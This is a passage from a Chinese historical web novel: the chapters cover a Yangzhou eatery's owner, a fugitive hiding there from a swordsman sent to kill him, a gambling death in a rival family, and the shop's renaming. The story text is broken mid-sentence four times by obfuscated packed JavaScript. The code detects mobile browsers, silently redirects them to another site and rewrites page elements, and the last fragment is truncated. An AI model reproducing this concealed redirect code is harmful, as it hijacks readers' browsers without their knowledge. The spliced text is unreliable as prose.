梁照儿鼓励道：“我瞧着扬州城里再找不出比你做的好的来了。” 自打梁照儿新招了两个员工，她便连夜去书局买了一本《孙子兵法》学习如何管理员工，例如其中一节讲到：“令之以文，齐之以武”，大约是恩威并施的意思，故而她决定没事也夸夸他们俩，好让他们更卖力的干活。 但沈度面对她的夸奖却并不领情。 梁照儿问他为什么，他答：“太假。” 哪里假了，夸他真会擦桌子不行麽？能把桌子擦得干净透亮也是一种本事。 刚入了夜，食肆里头的香味便传了出来，勾的路上行人纷纷侧目探寻是哪家正在做饭。 梁照儿数着今日卖出去的市糕，心中一喜。如今在年节里，各家各户少不得上街肆买些糕点，光今天一天便卖了两贯钱的糕点。若是每日都能卖这么多......梁照儿捧着簸箕在一旁嗤嗤地笑了起来，她已经开始幻想躺在金子打的床上睡觉了。 李瘸子将菜都端了出来，沈度将桌面滚了出来架好，冲着梁照儿道：“别做梦了。” 梁照儿敛了脸上的喜色，正色道：“库房里有我前些日子存下的屠苏酒，用黄泥封好的，现下拿出来喝罢。” 正在梁照儿准备火锅调料时，关大娘和玉松从外头进来了，玉松手上还拎着一大堆年糕。梁照儿一看到那年糕便苦了脸，她还记着从前在舅舅舅妈家过年肉少，舅舅和表兄吃肉，她和舅妈只能吃年糕，日日都是年糕汤。那年糕怎么吃也吃不完，仿佛自己还能长出来似的。 “来就来，还带甚么劳什子东西？”梁照儿笑着说。 玉松将手中的年糕递给梁照儿，“娘偏要我带来。” 沈度刚欲提了酒出来，便听见玉松的声音。这声音他听着耳熟，像极了追杀他的那人。沈度一个梭身回了房间里，思忖着如何避开玉松，不料此时梁照儿忽而问：“怎么还未将酒拿出来？” 说着她便朝里走，沈度立刻捂着肩上的刀伤蹙眉道：“方才从高处拿酒时想来有些拉扯到伤口了，酒在这，我且回去歇歇。” 梁照儿狐疑地看着他，欲伸手去探查他的伤口，不料却被沈度躲过，他又说：“男女授受不亲。” 想着外头还有人等着，梁照儿只道：“那你回去好好歇着，若是伤得很了得去街上请郎中。” 沈度随意糊弄了她几句，待她出去之后便欲收拾行李跑路。 待梁照儿出去之后，燕环也来了，正拉着玉松要吃酒。玉松不着声色地推开燕环递过来的杯盏，对着关大娘说：“我去井里洗把脸来。” 玉松借故来了后院，一双鹰眼将四周扫了一遍后，他将目光锁定在西边的角房处。 他轻手轻脚地进了门，只见桌上的蜡烛只燃了一小截，床上被褥凌乱，玉松伸手一摸尚有余温。窗棂半开，沿窗望去，地上一片脚印，想来是翻窗逃了。 玉松将窗户关上，轻哼一声。虽无法确定此人就是黑老爷所让他杀的那人，不过瞧着这人见了他如同耗子见了猫，想来也八九不离十了。 他吹哨唤来一只鹰隼，将手信塞进信筒里，只要这人离不了扬州城，他便有办法将他揪出来。 见鹰隼在夜际中消失，玉松才缓步回了堂屋。众人吃的正欢，连忙招手让他快来。 桌上摆了许多小碟，里头摆着各式样调料，有花椒、胡椒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401536|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、芝麻、韭菜花并着各类酱料。每人面前摆了一个小碗，里头拌着自己爱吃的几样调料。 “这种吃法倒很好。”李瘸子也点了点头。 燕环本想呛李瘸子两句，又想着今天是好日子才不情不愿地住了嘴。 玉松感到团圞热暖之乐，凌厉的面庞也柔和了三分。刀尖上舔血的日子过久了，倒对如今这种生活有几分恍惚。虽说他此番回扬州城是借了寻人的便处，可参加了一场白事，倒让他觉得世事无常。 他面上挂着笑意落座，“也不给我留点。” 关大娘不忿道：“你这人一吃饭不是要上茅厮就是要洗脸洗手的，好好的一个郎君，也不知从哪学的比小娘子还爱干净。” 玉松并不敢回嘴，只能陪笑着给关大娘倒了一杯屠苏酒。 众人涮了一回锅子，又吃了些菜。李瘸子今日是难得的高兴，从前脸上的戾气也荡然无存，酒过三巡便拉着玉松划拳。 燕环瞧着李瘸子这样，对着梁照儿道：“哦唷，你瞧这老头，今日欢喜的勒。照儿，你留了他下来倒是件好事，不然还不知道他能撑到什么时候哩。” 梁照儿好奇问道：“这其中又有甚么我不知道的事嚜？” 燕环神秘兮兮道：“我也是听羊安顺说的，说是李瘸子老来得子，好容易生了个姑娘，爱得跟什么似的。可惜李瘸子的内人刚生下这丫头便去世了，李瘸子只好带着女儿到燕来楼上工。” “那么后来呢？”关大娘也凑过来好奇道。 燕环说了一长串话，捧着屠苏酒喝了一口，歇口气又说：“后来有一日那丫头在后门自己玩，李瘸子托了个小厮帮忙看着她，谁知那小厮看人赌钱看入了迷，一时倒顾不上她。拍花子在一旁候了许久，可算得了空，只用颗香糖果子便将那丫头拐走了。” 关大娘也是为人父母的，一听这故事立刻心疼的不得了，“嗳唷，真真是作孽啊！” “想来也是因为这个原因，李瘸子才叫燕来楼赶出来罢？”梁照儿问道。 燕环点了点头，“正是哩，羊安顺说李瘸子找那小厮和燕来楼要说法，燕来楼却说跟他们犯不上，要找该去找那拍花子，最后只给了几贯钱了事。” 关大娘长长地叹了口气，“说到底这种事也难抉择出究竟是谁的错处。” 众人又一处说笑了一阵才散去。梁照儿举着一盏蜡烛便上了楼，她将预先备好的热水倒进浴桶里准备洗个澡解乏。 正将外裳褪了半边时，梁照儿却瞧见屏风前的烛火微微一闪，她抓起桶里的浴匜舀了一瓢水奋力地向后浇去，“是谁在那里？” 沈度下半身被溅了水，从屏风后头戏谑道：“是我。” “伤口裂了，腿脚倒很利索，”梁照儿披好衣服，缓缓回头说，“你在找什么？” 她从袖子里拿出令牌，声音中带着蛊惑，“难不成是在找这个？” 沈度欲探身上前去拿，却被梁照儿一个转身躲过，险些掉进浴桶中。他头一遭被人耍，还是个女子，笑着摇了摇头，“是又如何？” 27. 刀光剑影的对峙 梁照儿翻身坐在一旁的杌凳上，自己倒了一盏茶。 她翘着二郎腿漫不经心道：“仔细说说罢，你同玉松究竟是甚么关系，大半夜躲到我屋子来不就是怕他折返再来查麽？” 沈度双眸微眯，这才正式地端详起面前的女子。他沉声道：“你倒是个浑不怕的，怎么没有半分被男人夜闯深闺的正常反应，就不怕我做些甚么？” 梁照儿扬起半张脸，笑津津道：“你确定想让我有麽？” 她眸光朝门口一瞥，又说：“若是我此刻叫了，只怕玉松下一刻就推门而入了罢？” 沈度揉了揉鼻子，半倚在衣架上，似笑非笑道：“你倒比看起来聪明。” 梁照儿闻言将茶盏猛地一放，乜斜着瞧了沈度一眼，生气道：“瞧你这话说的。” “说起来我并不认识玉松其人，只是听过他的声音。”沈度肃声正色道。 已过子时，街巷人烟稀少，仅有三两醉鬼歪倒在墙角处。玉松借故辞别了关大娘悄悄回了食肆，从贴近后院的角门处翻身而入进了院子。 木窗前一盏昏黄的灯被油孱弱地烧着，屋内摆着一只铜火盆，轩窗半合，李瘸子正睡在榻上。玉松朝里头一望，仍未见所寻之人踪迹。 他轻哼一声，心道此人果然狡猾。 玉松有感觉那人仍在食肆内，因为其他同行的伙伴搜遍了扬州城里大大小小之所却并未发现其踪迹。 这人居然跟他玩灯下黑！营造出一副急匆匆朝城外逃的迹象引得他们四处追捕，自己却仍苟且在食肆之中稳坐高楼。 玉松轻手轻脚地将食肆里外都查看了一番，瞧着食肆布局两层都是打通的，并无暗室或隔间可容纳人，便将目光汇聚到二楼。 唯一的可能便是在梁照儿屋子里。 三个人都彼此心知肚明当下的情况，可玉松也不好大剌剌地进去在梁照儿屋子里乱翻一通，这成何体统？ 玉松愈发对沈度的狡黠咬牙切齿，他活了二十几年，行得端坐得正，还从未干过这种偷鸡摸狗之事。 沈度打了个喷嚏，被梁照儿赶到一旁站着。他缓缓说道：“我从幽州一路南下，你那表兄带着几个死士一路追杀，到了金陵地界几番交战不慎被他所伤，这才跌进江里顺流飘到了扬州。” 梁照儿闻言又问：“说来也怪，那他为何不杀别人，只杀你？” 沈度闻言不可置信地看了梁照儿一眼，他若是知道受害者有罪论这一说此刻肯定要借此抨击梁照儿。 未待沈度回答，梁照儿便瞧见他一个干脆利落地倒地，双手环胸闭眼假寐起来。 “话讲到一半，怎么就睡了？”梁照儿无语道。 沈度声音闷闷的，故意板着脸逗她，“知道的越多，死的越快。” 梁照儿扯过被子将自己裹了起来，冷哼一声道：“我倒不耐烦知道你的事，只盼着你哪日别被玉松一通乱砍死在我这里，只记得死之前千万得将银子还我才是。” “要我还银子给你倒可行，不过先得将令牌还我。”沈度清冷的嗓音淡淡浮了上来。 等了许久见梁照儿也不回答，沈度一骨碌盘腿坐起来，瞧见她攥着被子睡得满脸通红，伸手在她面前晃来晃去。 “真睡了？” 屋内静得出奇，只有一旁炉子烧碳发出的“筚拨”声。 沈度哑然笑了，又卧回地上。她瞧见梁照儿的手垂垂地耷拉在床边。因着要下厨，她的五个指甲都是短而圆的，指节修长关节微微突出，一看便是用过农具做活的庄稼人的手。 沈度从未见过这样的手，他在家中所见到的都是指尖染着豆蔻，保养得宜的。 第二日一早，玉松便又来了食肆。 他背后挎着套着牛皮袋的大朴刀，正在柜台里拨算盘的梁照儿见他来了笑道：“今日怎得来了？” “照儿你何必明知故问，叫那小子出来。”玉松道。 他又冲着楼上大喊一声：“若是英雄好汉，何必躲在女人身后！” 沈度双手背后，昂首挺胸地从后头出来，对着玉松说：“首先你喊错了，我在楼下。” 他又道：“阁下为何穷追不舍？” 忽而朴刀出鞘，一道冷光闪射，再回过神来刀刃已经贴近沈度的脖颈处。玉松淡淡道：“奉人之命，必成人之事。” 沈度面不改色地望着玉松，“这位郎君又如何知晓所效忠之人是不是善类。” 李瘸子在一旁被突如其来的打斗吓得一愣，又不知从哪蹦出来一星半点团队精神，走到沈度身旁，弱弱地问：“这其中莫不是有甚么误会，昨日还在一处同饮共食，怎的今日便拔刀相见了？” 沈度纠正：“其次，昨日我没和他一起吃饭。” 李瘸子气呼呼地瞪了沈度一眼，又走到一边坐下。 玉松说：“他是贼。” 梁照儿讶然，打量了沈度一眼又道：“看着倒不像会干这种偷鸡摸狗之事的。” 玉松轻哼一声，厉声说：“他盗窃了贵人府上的两件宝物，还不快交出来！” “莫非是那龙虎令牌？”梁照儿问道。 玉松又说：“何止那一件？还有从前不世出的夜明珠，如今是兴隆镖局黑老爷的钟爱之物，也叫他盗了去！” 李瘸子闻言道：“哎呀，那件宝物我也是有所耳闻的。据说是前朝广平公主的爱物，不是说带进墓里头去了麽？那珠子得有拳头那么大，夜里能散着荧光，亮堂堂的恍如白日。” 刀刃往深了两寸，血珠渗到刃上，沈度只冷冷地瞥了玉松一眼，“什么偷不偷的，那本就是我的东西。你该去问问你的黑老爷，他是怎么把这东西占为己有的！” 玉松一怔，沈度乘胜追击道：“漕帮镖局本为了通达南北行客之便而设，却叫他弄成了杀人越货的黑心帮派，这又何解？” 这番话说的玉松有些动摇，他双目微眨，又说：“巧言令色。” 沈度一个侧身躲过了朴刀，淡淡道：“是与不是，你内心自有一杆秤，回幽州一验便知。” 玉松闻言将刀收进刀鞘之中，临走前说：“你所言若有半句虚妄，我便亲手斩下你的头颅做酒器。” 这话说的骇人可怖，沈度略一拱手，回道：“悉听尊便。” 玉松离去，沈度照旧当起他的跑堂小二。他尽心尽责地迎着食客，倒叫梁照儿有些惊讶，她这食肆可真是卧虎藏龙！ 她将算盘拨得噼啪作响，心下一阵动乱。 这时燕环忽而来了，满脸神秘地对着梁照儿说：“我有一桩喜事要告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401537|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你。” “有甚么喜事？”梁照儿问道。 燕环笑嘻嘻地说：“崔大郎欠了赌债，被人套麻袋打了一顿扔进江里，今早上胡县尉与司理参军都去查了，最后说是自己失足跌下去的，怨不得旁人。” 小半月来，身边便有两个认识的人跌进江里身故，倒让梁照儿觉得有些失语。若是长江是个人，只怕要说别把什么脏的臭的都丢进来。 “胡县尉和司理参军难道瞧不出这其中的关巧来，怎得囫囵断了案？”梁照儿又问。她虽愿见到崔大郎受到惩罚，可也好奇其中细节。 燕环一摆手道：“谁叫崔大郎惹上的是任家的人麽？任家明面上是规规矩矩做生意的，私下里靠放印子钱家里堆得同金山银山似的囖，胡县尉又是任老爷的小舅子，可不得互相帮衬着！” 梁照儿又记起前头遇着的任家侍女，当日她便觉着有什么细处漏下了，原是这里。好在没接下这桩生意，这位任老爷瞧着便是个狠角色，探到了他们家的秘事，要么跟着一起狼狈为奸，要么只怕被他杀人灭口。毕竟放印子钱的在后世被称为高利贷。 “话说回来，崔大郎若是个老实本分的，也不至于沾上这些个。”梁照儿淡淡道。 燕环点头说：“谁说不是呢，原是他自个儿作下的业。” 她嘴利又识人心，帮着梁照儿卖了一遭市糕，天渐渐黑了梁照儿便留她下来用晚饭。 李瘸子不忿道：“你这个吃白食的，日日跑来逃饥荒。” “你这个不识冷热的急脚鬼，又没吃你的东西！我帮了忙讨餐饭吃，怎的就不行了？”燕环将帕子胡乱塞回袖笼子里，翻了个白眼道。 李瘸子冲着她喊道：“若非我在后厨不停地做，你在前头也没东西卖！” 得，这是技术部和销售部之间的矛盾。该说不说，燕环若是托生在后世，凭她那三寸不烂之舌，也得是个金牌销售。 “甚么是销售？”燕环一脸疑问。 还未等梁照儿回答，沈度便道：“也不难解，销和售么，都是卖东西的意思，大约是说你卖东西卖的好。” 梁照儿点了点头，“小度说的不错。” “……小度？”沈度嘴角抽了抽。 燕环看见沈度脖颈上的伤口，惊呼道：“怎么伤到那儿去了？” 李瘸子幸灾乐祸道：“他算是惹上麻烦了，要被人拿刀抹了脖子。” 沈度看不见脖颈上的伤痕，便侧歪着头让坐在他身边的梁照儿帮忙瞧瞧。 梁照儿眯着眼睛凑近了看那伤痕，还好只是看着可怖，长长的一条，不过倒不算深。想来玉松也是信了沈度所言几分，才未下了死手。 轻而匀长的鼻息喷洒在沈度的脖子上，像一支羽毛挠得他心痒，他哑声问道：“还没看好吗？” 梁照儿坐直了身子道：“好了，不过是些皮外伤，上次那游医给的药还剩些，搽搽便是了，我可没钱给你去请郎中。” 沈度不动声色地将衣领整好，淡淡道：“知道了。” 门外一阵急促的叩门声传来，梁照儿连忙放了手中的长箸去开门。 崔璋一脸阴沉的站在门前，方才梁照儿和个男人亲亲热热的那一幕被他尽收眼底。 梁照儿问：“你怎么来了？” 28. 因果与身世之谜 崔璋心里憋着一股气，嘴上自然也说不出什么好听的话来。他讥讽道：“今天你来，明天他来，怎么我不能来？” 梁照儿丈二和尚摸不着头脑，一脸茫然道：“一来便吃了枪药似的，手里怎么还抱着个孩子？” 她见崔璋左手抱着襁褓里的孩子，右手拎着两条腊肉，心中一阵好奇。自打上次一见还没几日，他总不至于这般神速几天就弄了个孩子出来。 崔璋沉默了片刻，还是从牙缝里挤出了几个字，“按理来说，这应该是你……孙子。” “哈？”梁照儿没站稳脚下一滑，幸而扶住了门框才没摔个大马趴。 她震惊道：“你别乱说，我自己都没孩子，哪来的孙子？” 崔璋眼角微红，眼皮微微垂着，结合着他今日这副模样，活像个受气小媳妇回娘家。他又说：“大哥叫人卷了席子送回来，仵作现已验明正身。大嫂闻言惊了胎，好容易才生下这孩子。” 梁照儿神情复杂地看了崔璋一眼，恨铁不成钢道：“人家要你养，你就替她养？几大个人了，在我面前说一句顶三句，怎的这个时候三棍子打不出个屁来！” 崔璋见她替自己说话，心中烫慰，又解释道：“原说了不养，只是如今家里钱财都拿去销大哥的赌债，连北柳巷的宅子都抵给别人了。大嫂恨极了大哥，已经修书去了青州，月子都不坐便要回娘家。” “你们家这乱糟的事，偏偏难为着你，”梁照儿见崔璋望着自己，连忙道，“可别瞧着我，我可不会替不相干的人养孩子。” 梁照儿使劲摇了摇头，自己好容易过上自给自足的生活，正欲待大施拳脚奋斗一番，才不愿养个还不是自己的孩子。 崔璋定定地望着她，苦笑道：“你想哪去了。” 且不说这是崔家的孩子，就凭梁照儿从前同崔大郎和刘氏那些龃龉之事，崔璋也断做不出这没心肝的事。 他将手上的腊肉递给梁照儿，又说：“私塾童生家里送来的束脩，我倒不贪口腹之欲，且送来与你无论做些甚么都好，总不至于白白浪费了。” 庄嬷嬷去洙泗村央了崔璋来时，他还不忘顺手带上这两挂腊肉，只为了讨个由头好来瞧瞧。 梁照儿见崔璋态度温和，也有些不好意思，倒显得她这人很小心眼的样子。 故而她笑着说：“既然来了，也进去坐坐，吃些东西。” 崔璋本欲拒绝，却又想着从窗子里看见的那幕，转而又道：“也行。” 两人并肩而入，燕环一见便调笑着说：“嗳唷，瞧这两人，不知道的以为姑娘姑爷回门子来了。” “你哪日不编排我，这日子就过不成了！这原是我从前做活主家的小官人。”梁照儿介绍道。 崔璋并不似梁照儿听见这话有些尴尬，反倒自如地入了席，一屁股坐在梁照儿与沈度中间。襁褓里的小儿呓语了几声，燕环接过孩子放在一旁铺着厚实棉布的摇椅上，“崔郎君，咱们这条件不比你们富户，多担待些。” “不打紧，照儿这食肆我原也来过好几次。”崔璋浅浅一笑，格外加重了“好几次”这三个字。 燕环瞧着崔璋比崔珍强上许多，也和颜悦色了几分，“原是旧相识。” 崔璋侧头看向梁照儿，柔声道：“照儿，你还没同我介绍介绍这几位。” 鸡皮疙瘩从后脊背顺着爬了梁照儿一身，她忍不住打了个寒颤，崔璋何时这般温柔地同她讲过话？她盯着他看了半晌，心道这孩子今天没吃错药吧？ 她介绍道：“燕环，与我义结金兰的姐妹，余下两位是我新招来的伙计。” 沈度冷哼了一声，“怎么倒我和李瘸子这儿就成了新招的员工。” 崔璋问：“敢问这位郎君名讳？” 沈度答道：“姓沈名度，字明则。” “听郎君谈吐不凡，想必也是个读书人，怎会来此作伙计？”崔璋不解道。 沈度又说：“不是甚么读书人，原先家中未破败时，跟着老夫子念了些时日，教夫子起了个诨名罢了。” 崔璋隐隐庆幸，“某不才，也只是一介秀才。” 梁照儿忍不住扶额，崔璋一向是个淡漠内敛的性子，今日却好似孔雀开屏一般……叫她觉着有些丢人。 “好了，吃你的罢。”梁照儿伸手给他夹了一筷子红烧肉无奈道。 襁褓中的婴儿凑巧哭了起来，沈度见状翻身下桌抱起他仔细哄了起来。李瘸子见他抱孩子的手法娴熟，忍不住道：“你带过孩子？” 沈度笑容中带着怅然，“从前在家带过弟妹。” 一顿饭吃的波澜涌动，梁照儿塞了几包糕点打发走了崔璋后，一转头便瞧见众人围在一处上下打量。燕环笑道：“两挂腊肉么，虽不是值钱东西，可心意重呀，人家还巴巴地送了来。是个傻子也瞧得出他的心思，你就半点不心动？” 梁照儿坦言道：“他是个读书人麽，从前又有着这样那样的关系，总归不太相衬。” 她又说：“今夜月儿圆，不如一同去楼上赏月去。” 燕环和李瘸子都应了，三人一同朝楼上去，梁照儿见沈度呆愣愣地站在原地，便催促说：“还不来么？” 沈度回道：“来了。” 他上来时还从楼下捎了两个坐垫给梁照儿和燕环。燕环伸手接过塞在屁股下，谢道：“还是小度贴心。” 圆月当楼满，云衢千里明。四人并肩坐下，共望着玉盘，李瘸子冷不丁叹道：“也不知何时才能找回穗穗。” 穗穗正是李瘸子走失的女儿，据他说右脚踝上有一颗红痣。 “……若是这丫头还在我身边，如今也长到十五六岁了，大约和掌柜的一般大。”李瘸子又说。 燕环安慰道：“总会寻到的，穗穗是个好姑娘，好姑娘都跟上天交了福运，这辈子都会平安顺遂的。” “哼，这句话倒还算中听。”李瘸子冷哼一声道。 见二人说不了两句又闹了起来，梁照儿无奈地笑了笑，劝了几句别乐极生悲跌下去给李瘸子另一条腿也摔断了之后便由着他们去了。 她望着身旁的沈度，从怀里掏出令牌，塞到他手里，“诺，还你。” 沈度摩挲着令牌，半晌问道：“为什么还我？” 梁照儿托着腮，白了他一眼道：“物归原主，还给你了，你还不要？如今你也好全了，想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401538|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走便随时可以走了，省得还要偷偷来拿！” 沈度摸了摸鼻头，见心思被戳破又笑着说：“谁说要走了？” “不走？不走留在这等着被人砍死麽？”梁照儿淡淡道。 沈度无奈道：“你当外头就没人想杀我了？” 他原本是想偷偷逃走的，可没走多远便撞上了玉松的那伙同伴，又灰溜溜地回来了。 梁照儿想了想，觉得沈度言之有理，想来黑老爷也不会只派了玉松一人来追杀他，必有其余同党。 沈度问：“掌柜的不想我留下麽？” 他凑的近，梁照儿身子僵直，不敢乱瞥。 “这个嘛，若是不用给工钱，倒可勉强留下来使唤使唤。” 沈度笑着朝后倒，眼里满是奸计得逞的得意。梁照儿自然也瞧出来了，她红着脸叱道：“你这睚眦必报的泼皮！” “不过自打来了扬州，又碰上你们，倒比从前更快活些。”沈度感慨道。 沈度的父亲沈兴原是兴隆镖局的总镖头，当年同几个兄弟出生入死攒下了这份家业。玉松所称之黑老爷，便是沈兴同乡的兄弟，宋黑五。他勾结镖局其他人在沈兴走镖路上害得沈兴坠崖而亡，又强占兄嫂和沈度母亲的陪嫁之物——那颗夜明珠。沈度母亲薛氏原是广平公主的一支后人，广平公主及其余党被前朝铲除之时侥幸躲到了幽州一带。 宋黑五为了斩草除根，杀进了沈家人，唯独沈度得以幸免。因他幼时贪玩，常在外招猫逗狗，碰巧那日不在家中。沈度是在院墙边亲眼看见他的弟妹被宋黑五害死的。他母亲悲愤交加，也决绝地碰刀而亡，临死前还冲着墙头的他摇头，示意他离开。 玉松所言也未错，沈度后混迹江湖之时确实也做过劫富济贫的事。不过叫他自己说来，这不算贼，算盗。梁照儿问他贼和盗的区别，沈度悠悠道：“贼惯爱烧杀抢掠，我又不作乱，只偷些有钱人的东西罢了。反正都是搜刮来的民脂民膏，取之于民还之于民罢了。” 他这话说得理直气壮。 “宋黑五和那些欺人田地，霸人家产的乡野无赖有何区别，逼得人沦落至此。”梁照儿听到最后愤慨地总结道。 她对着沈度说：“找到机会非把他千刀万剐，下油锅烹成炙羊。” 沈度哑然失笑，梁照儿和玉松不愧能说到一处，二人行事都是这般简单粗暴。他无奈道：“他身边都是你表兄这般人物，倒很难近身。” 图谋大业必得广积粮缓称王，何况如今沈度只是个闾阎细民。 “钱有什么紧的囖，总能挣来。你打个欠条我，日后偿我点利息也就是了。”梁照儿起身活跃气氛道。 沈度挑眉逗弄她道：“你这食肆要猴年马月才能赚够这银子。” 梁照儿把腰一扭，傲然道：“你少瞧不起我。” “那么掌柜的要多少利息呢？”沈度怪模怪样地行了个拱手礼道。 梁照儿掰着指头说：“若你真能拿回镖局，我要你每年营收的三成。” 沈度望着梁照儿比出来的三根指头恨不得上前给她掰折。他幽幽道：“你知道镖局营收的三成得有多少钱麽，真是一点亏也不肯吃。” 29. 食肆升级——如意馆 又说崔家遭了事，一时间宅子里颓成陋室空堂，哀草枯杨之景。余下奴仆皆遣散了归家，签了死契的或被牙人领去再买，或被任家掳去接着做工。 张家两兄弟同玉梳一时间皆没处做活，三人成日里围着张老太转，总算遂了她的愿，可她却不肯了。 “你们倒是去找个活干，家里的开支总得找个来路，不好坐吃山空的呀。”张老太焦急道。 玉梳坐在火炉前一边剥着盐水花生，一边淡淡道：“要我说就是娘成日里唠叨着大哥和官人不见家，不能承欢您膝下才出了如今这档子事。咱们娘还是在菩萨面前挂了脸哩，要不旁人怎么求都求不来的事，却教您做成了！” 她性子虽温和，却也不是个让人搓扁捏圆的面团。 张老太见玉梳有张虎在一旁撑腰也敢讥讽她两句，怒道：“虎哥儿，你倒管管你这混账老婆！” 张虎本就一脑门官司，现在又见张老太和玉梳吵起嘴来更是不耐烦。 他说：“早说了让玉梳来当家，她原先管着崔老爷屋里头那些事，管个家又成甚么难事，如今倒弄成这幅光景！” “我还没不中用呢，你就要钱给你媳妇，”张老太拍着大腿嚎道，“且不说这家里头还有你大哥，你媳妇当当你的家就算了，还当你大哥的家不成！” 张老太哪里肯将攥了半辈子的钱拱手与玉梳，见自己说不过张虎又连忙扯过张龙这面大旗。 张龙见事关他的利益也对着张虎说：“好了，你对着阿娘吼甚么，生养你一场还结了仇不成？” “那就分家罢”这句话在张虎嘴里打了个转，最终还是给他咽了下去。玉梳在一旁瞧着心里也有些失望，她仍替张虎说话：“官人嘴笨，心却是好的，娘和大哥这就是误会他了。” 张老太眼珠子一转，又堆着笑道：“老二媳妇，你娘家表妹不是在做生意、开饭馆麽？叫她给你官人和你兄弟寻个活干，不行也叫他们去食肆里头帮帮忙，一年总得给个三五两银子。” 玉梳闻言气得几欲仰倒，也顾不得礼啊教的，直言说：“娘，且不说照儿那需不需要人手，一年三五两银子——亏您也想得出来，她又不是城东头开钱庄的。” “你既嫁到我们张家来，就是张家人，哪有胳膊肘向外拐的道理。不过叫你去问问，又有甚么打紧？”张老太不满道。 张虎觉得张老太言之有理，觉着去问问也算多条出路。 故而他满脸为难地对着玉梳道：“娘说的也不无道理，玉梳你去问问也不妨事。” 玉梳深深地望了张虎一眼，才提了一篮子咸鸭蛋和酱菜到食肆预备去寻梁照儿。 张老太见她拿了不少，连忙阻止说：“你妹妹麽一个女人家能吃多少东西哩，这都是从高邮那边弄来的好东西，自家人都不够吃呀。” 玉梳不理她，挎上篮子便出了门。她来的时候凑巧，正好食肆一行人正在换匾额。 “你今日怎么得空来了。”梁照儿瞧见玉梳来了，回头笑着说。 她又指挥沈度将匾额摆的更正些，只见那匾额上写着“如意馆”三个大字。梁照儿给食肆起这名字便是希望不仅来用餐的食客能够事事如意，也希望食肆日后也能顺风顺水地经营下去。 玉梳笑着说：“这字写的倒好。” 梁照儿点头道：“是央了蔡郎君写的，他字写得好，扬州城里不少人都请他去写字。” 只见匾额上三字笔画遒劲婀娜，有二王之流美，又不乏柳体之瘦硬，可称上一句方圆兼备。玉梳会写字，自然也会看字，亦点头称赞。 沈度一个利落的翻身从梯子上下来，双臂环胸不屑道：“这样的字值几个钱，拿纸笔来我也能写。” 梁照儿白了他一眼，又指挥道：“好了，你这书房都没上过两天就被赶出来的厌书胚子又要充军。里头东西还没搬完，少在这耍嘴皮子。” 沈度得令又进去干活，梁照儿也引着玉梳进去倒了一盏茶她吃。玉梳将篮子放在桌子上说：“这咸鸭蛋和酱菜都是顶顶好的，你尝尝罢，早饭配着粥吃刚好。” 玉梳是个温柔和婉的女子，梁照儿瞧她这般扭捏的样子，便知她有事在心里。 梁照儿佯作生气道：“你不说清由来，这东西我是不肯收的。” 玉梳攥着帕子思忖了许久才开口道：“我却有一桩事，却不知怎么开口，讲来也是难为情......” 听玉梳讲完其中遭遇，梁照儿点头说：“我听燕环说了崔家的事，璋官人也曾来过。即便你不说，我也想去问问你日后做什么打算。” 张家不好过，梁照儿也知晓。毕竟崔家这一倒也变相相当于公司破产裁员，张家还一连气被裁了三个。此刻梁照儿也算体会到了为什么有人说不要和同事恋爱结婚，鸡蛋不能放在同一个篮子里。 梁照儿又说：“你也瞧见了，我这重新装潢了一番，也需要一个管账的。” 玉梳听到此处再也忍不住掩面啜泣了起来，“我真不知怎样还你这份恩情。” 她透过指缝瞧见桌上那篮子东西，更觉羞愧。梁照儿从前送她的都是四处寻摸来的桂粉，或是精心筹备的席面，而自己却只拎了这些东西便要求人办事。 “原先旁的人都对我避之不及时，唯有你真心帮护我，照理说我也不知该怎么还你呢。”梁照儿递给玉梳一方帕子，又小心地替她拭去腮边的泪。 玉梳抽噎道：“那点子小事，若说还早也还完了。” 梁照儿又不放心地嘱咐说：“不过，我也不是个甚么能容人的。你能来，张家那两兄弟倒算了。一则人手也够了，二则钱都在你手里腰杆也好挺直些，不受你那婆婆磋磨。” 玉梳点头，“我省得的。” 她也不是那些个糊涂虫，万事都紧着婆家人为先，没点自己的谋划。 事情就这般说定了，二人好不容易才见面又闲话了好一阵子，玉梳才匆匆离去。 如今梁照儿手底下虽有几个员工，不再是光杆司令了，却也一同做事。她蹲在地上仔细擦着凳子，沈度站在一边笑道：“不想你心地这般良善。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 